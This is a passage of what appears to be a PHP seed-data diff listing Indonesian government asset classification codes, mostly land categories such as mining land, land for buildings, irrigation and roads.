'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH BERPASIR/PASIR', + ], + [ + 'id_aset' => 153, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH PENGAMBILAN/KUASI', + ], + [ + 'id_aset' => 154, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH TANDUS LAINNYA', + ], + [ + 'id_aset' => 155, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH RUSAK', + ], + [ + 'id_aset' => 156, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH YANG TEREROSI/LONGSOR', + ], + [ + 'id_aset' => 157, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'BEKAS TAMBANG/GALIAN', + ], + [ + 'id_aset' => 158, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'BEKAS SAWAH/RAWA', + ], + [ + 'id_aset' => 159, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '09', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH RUSAK LAINNYA', + ], + [ + 'id_aset' => 160, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH ALANG-ALANG DAN PADANG RUMPUT', + ], + [ + 'id_aset' => 161, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALANG-ALANG', + ], + [ + 'id_aset' => 162, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALANG-ALANG', + ], + [ + 'id_aset' => 163, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALANG-ALANG LAINNYA', + ], + [ + 'id_aset' => 164, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PADANG RUMPUT', + ], + [ + 'id_aset' => 165, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SEMAK BELUKAR', + ], + [ + 'id_aset' => 166, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'PADANG RUMPUT', + ], + [ + 'id_aset' => 167, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '10', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PADANG RUMPUT LAINNYA', + ], + [ + 'id_aset' => 168, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERTAMBANGAN', + ], + [ + 'id_aset' => 169, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PERTAMBANGAN', + ], + [ + 'id_aset' => 170, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH PERTAMBANGAN INTAN', + ], + [ + 'id_aset' => 171, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH PERTAMBANGAN EMAS', + ], + [ + 'id_aset' => 172, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH PERTAMBANGAN PERAK', + ], + [ + 'id_aset' => 173, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH PERTAMBANGAN NEKEL', + ], + [ + 'id_aset' => 174, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH PERTAMBANGAN TIMAH', + ], + [ + 'id_aset' => 175, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH PERTAMBANGAN URANIUM', + ], + [ + 'id_aset' => 176, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH PERTAMBANGAN TEMBAGA', + ], + [ + 'id_aset' => 177, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH PERTAMBANGAN MINYAK BUMI', + ], + [ + 'id_aset' => 178, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH PERTAMBANGAN BATU BARA', + ], + [ + 'id_aset' => 179, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH PERTAMBANGAN KOSLIN', + ], + [ + 'id_aset' => 180, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANAH PERTAMBANGAN BATU BARA BERHARGA', + ], + [ + 'id_aset' => 181, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'TANAH PERTAMBANGAN PASIR BERHARGA', + ], + [ + 'id_aset' => 182, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '11', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH PERTAMBANGAN LAINNYA', + ], + [ + 'id_aset' => 183, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN GEDUNG', + ], + [ + 'id_aset' => 184, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH BANGUNAN PERUMAHAN/GDG. TEMPAT TINGGAL', + ], + [ + 'id_aset' => 185, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH BANGUNAN MESS', + ], + [ + 'id_aset' => 186, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH BANGUNAN WISMA', + ], + [ + 'id_aset' => 187, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH BANGUNAN ASRAMA', + ], + [ + 'id_aset' => 188, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH BANGUNAN PERISTIRAHATAN', + ], + [ + 'id_aset' => 189, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH BANGUNAN BUNGALAOW', + ], + [ + 'id_aset' => 190, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH BANGUNAN COTTAGE', + ], + [ + 'id_aset' => 191, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN RUMAH TEMPAT TINGGAL LAINNYA', + ], + [ + 'id_aset' => 192, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN GEDUNG PERDAGANGAN', + ], + [ + 'id_aset' => 193, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH BANGUNAN PASAR', + ], + [ + 'id_aset' => 194, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH BANGUNAN PERTOKOAN/RUMAH TOKO', + ], + [ + 'id_aset' => 195, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH BANGUNAN GUDANG', + ], + [ + 'id_aset' => 196, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH BANGUNAN BIOSKOP', + ], + [ + 'id_aset' => 197, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH BANGUNAN HOTEL/PENGINAPAN', + ], + [ + 'id_aset' => 198, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH BANGUNAN TERMINAL DARAT', + ], + [ + 'id_aset' => 199, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH BANGUNAN TERMINAL LAUT', + ], + [ + 'id_aset' => 200, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH BANGUNAN GEDUNG KESENIAN', + ], + [ + 'id_aset' => 201, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH BANGUNAN GEDUNG PAMERAN', + ], + [ + 'id_aset' => 202, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH BANGUNAN GEDUNG PUSAT PERBELANJAAN', + ], + [ + 'id_aset' => 203, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANAH BANGUNAN APOTIK', + ], + [ + 'id_aset' => 204, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN GEDUNG PERDAGANGAN LAINNYA', + ], + [ + 'id_aset' => 205, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN INDUSTRI', + ], + [ + 'id_aset' => 206, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH BANGUNAN INDUSTRI MAKANAN', + ], + [ + 'id_aset' => 207, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH BANGUNAN INDUSTRI MINUMAN', + ], + [ + 'id_aset' => 208, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH BANGUNAN INDUSTRI/ALAT RT.', + ], + [ + 'id_aset' => 209, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH BANGUNAN INDUSTRI PAKAIAN/GARMENT', + ], + [ + 'id_aset' => 210, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH BANGUNAN INDUSTRI BESI/LOGAM', + ], + [ + 'id_aset' => 211, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH BANGUNAN INDUSTRI BAJA', + ], + [ + 'id_aset' => 212, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH BANGUNAN INDUSTRI PENGALENGAN', + ], + [ + 'id_aset' => 213, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH BANGUNAN INDUSTRI BENGKEL', + ], + [ + 'id_aset' => 214, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH BANGUNAN INDUSTRI PENYULINGAN MINYAK', + ], + [ + 'id_aset' => 215, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH BANGUNAN INDUSTRI SEMEN', + ], + [ + 'id_aset' => 216, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANAH BANGUNAN INDUSTRI BATU BATA/BATAKO', + ], + [ + 'id_aset' => 217, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'TANAH BANGUNAN INDUSTRI GENTENG', + ], + [ + 'id_aset' => 218, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '013', + 'nama' => 'TANAH BANGUNAN INDUSTRI PERCETAKAN', + ], + [ + 'id_aset' => 219, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '014', + 'nama' => 'TANAH BANGUNAN INDUSTRI TESKTIL', + ], + [ + 'id_aset' => 220, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '015', + 'nama' => 'TANAH BANGUNAN INDUSTRI OBAT-OBATAN', + ], + [ + 'id_aset' => 221, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '016', + 'nama' => 'TANAH BANGUNAN INDUSTRI ALAT OLAH RAGA', + ], + [ + 'id_aset' => 222, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '017', + 'nama' => 'TANAH BANGUNAN INDUSTRI KENDARAAN/ OTOMOTIF', + ], + [ + 'id_aset' => 223, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '019', + 'nama' => 'TANAH BANGUNAN INDUSTRI PERSENJATAAN', + ], + [ + 'id_aset' => 224, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '020', + 'nama' => 'TANAH BANGUNAN INDUSTRI KAPAL UDARA', + ], + [ + 'id_aset' => 225, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '021', + 'nama' => 'TANAH BANGUNAN INDUSTRI KAPAL LAUT', + ], + [ + 'id_aset' => 226, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '022', + 'nama' => 'TANAH BANGUNAN INDUSTRI KAPAL API', + ], + [ + 'id_aset' => 227, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '023', + 'nama' => 'TANAH BANGUNAN INDUSTRI KERAMIK/MARMER', + ], + [ + 'id_aset' => 228, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN INDUSTRI LAINNYA', + ], + [ + 'id_aset' => 229, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN TEMPAT KERJA/JASA', + ], + [ + 'id_aset' => 230, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH BANGUNAN KANTOR PEMERINTAH', + ], + [ + 'id_aset' => 231, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH BANGUNAN SEKOLAH', + ], + [ + 'id_aset' => 232, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH BANGUNAN RUMAH SAKIT', + ], + [ + 'id_aset' => 233, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAH BANGUNAN APOTIK', + ], + [ + 'id_aset' => 234, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAH BANGUNAN TEMPAT IBADAH', + ], + [ + 'id_aset' => 235, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAH BANGUNAN DERMAGA', + ], + [ + 'id_aset' => 236, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAH BANGUNAN PELABUHAN UDARA', + ], + [ + 'id_aset' => 237, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAH BANGUNAN OLAH RAGA', + ], + [ + 'id_aset' => 238, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'TANAH BANGUNAN TAMAN/WISATA/REKREASI', + ], + [ + 'id_aset' => 239, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'TANAH BANGUNAN BALAI SIDANG/PERTEMUAN', + ], + [ + 'id_aset' => 240, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'TANAH BANGUNAN BALAI NIKAH', + ], + [ + 'id_aset' => 241, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'TANAH BANGUNAN PUSKESMAS/POSYANDU', + ], + [ + 'id_aset' => 242, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'TANAH BANGUNAN POLIKLINIK', + ], + [ + 'id_aset' => 243, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'TANAH BANGUNAN LABORATURIUM', + ], + [ + 'id_aset' => 244, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '015', + 'nama' => 'TANAH BANGUNAN FUMIGASI/STERLISASI', + ], + [ + 'id_aset' => 245, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '016', + 'nama' => 'TANAH BANGUNAN KARANTINA', + ], + [ + 'id_aset' => 246, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '017', + 'nama' => 'TANAH BANGUNAN BANGSAL PENGOLAHAN PONDON KERJA', + ], + [ + 'id_aset' => 247, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '018', + 'nama' => 'TANAH BANGUNAN KANDANG HEWAN', + ], + [ + 'id_aset' => 248, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '019', + 'nama' => 'TANAH BANGUNAN-BANGUNAN PEMBIBITAN', + ], + [ + 'id_aset' => 249, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '020', + 'nama' => 'TANAH BANGUNAN RUMAH PENDINGIN', + ], + [ + 'id_aset' => 250, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '021', + 'nama' => 'TANAH BANGUNAN RUMAH PENGERING', + ], + [ + 'id_aset' => 251, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '022', + 'nama' => 'TANAH BANGUNAN STASIUN PENELITIAN', + ], + [ + 'id_aset' => 252, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '023', + 'nama' => 'TANAH BANGUNAN GEDUNG PELELANGAN IKAN', + ], + [ + 'id_aset' => 253, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '024', + 'nama' => 'TANAH BANGUNAN POS JAGA/MENARA JAGA', + ], + [ + 'id_aset' => 254, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN TEMPAT KERJA LAINNYA', + ], + [ + 'id_aset' => 255, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH KOSONG', + ], + [ + 'id_aset' => 256, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH SAWAH', + ], + [ + 'id_aset' => 257, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH TEGALAN', + ], + [ + 'id_aset' => 258, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH KEBUN', + ], + [ + 'id_aset' => 259, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'KEBUN PEMBIBITAN', + ], + [ + 'id_aset' => 260, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH KOSONG YANG TIDAK DIUSAHAKAN', + ], + [ + 'id_aset' => 261, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH PETERNAKAN', + ], + [ + 'id_aset' => 262, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH PETERNAKAN', + ], + [ + 'id_aset' => 263, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH PETERNAKAN LAINNYA', + ], + [ + 'id_aset' => 264, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH BANGUNAN PENGAIRAN', + ], + [ + 'id_aset' => 265, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH WADUK', + ], + [ + 'id_aset' => 266, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH KOMPLEK BENDUNGAN', + ], + [ + 'id_aset' => 267, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAH JARINGAN/SALURAN', + ], + [ + 'id_aset' => 268, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN PENGAIRAN LAINNYA', + ], + [ + 'id_aset' => 269, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH BANGUNAN JALAN DAN JEMBATAN', + ], + [ + 'id_aset' => 270, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH JALAN', + ], + [ + 'id_aset' => 271, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH JEMBATAN', + ], + [ + 'id_aset' => 272, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH BANGUNAN JALAN DAN JEMBATAN LAINNYA', + ], + [ + 'id_aset' => 273, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LEMBIRAN/BANTARAN/LEPE-LEPE/SETREN DST', + ], + [ + 'id_aset' => 274, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LEMBIRAN PENGAIRAN', + ], + [ + 'id_aset' => 275, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LEMBIRAN JALAN DAN JEMBATAN', + ], + [ + 'id_aset' => 276, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '12', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAH LEMBIRAN LAINNYA', + ], + [ + 'id_aset' => 277, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH UNTUK BANGUNAN BUKAN GEDUNG', + ], + [ + 'id_aset' => 278, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAH LAPANGAN OLAH RAGA', + ], + [ + 'id_aset' => 279, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAH LAPANGAN TENIS', + ], + [ + 'id_aset' => 280, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAH LAPANGAN BASKET', + ], + [ + 'id_aset' => 281, + 'golongan' => '2', + 'bidang' => '01', + 'kelompok' => '13', + 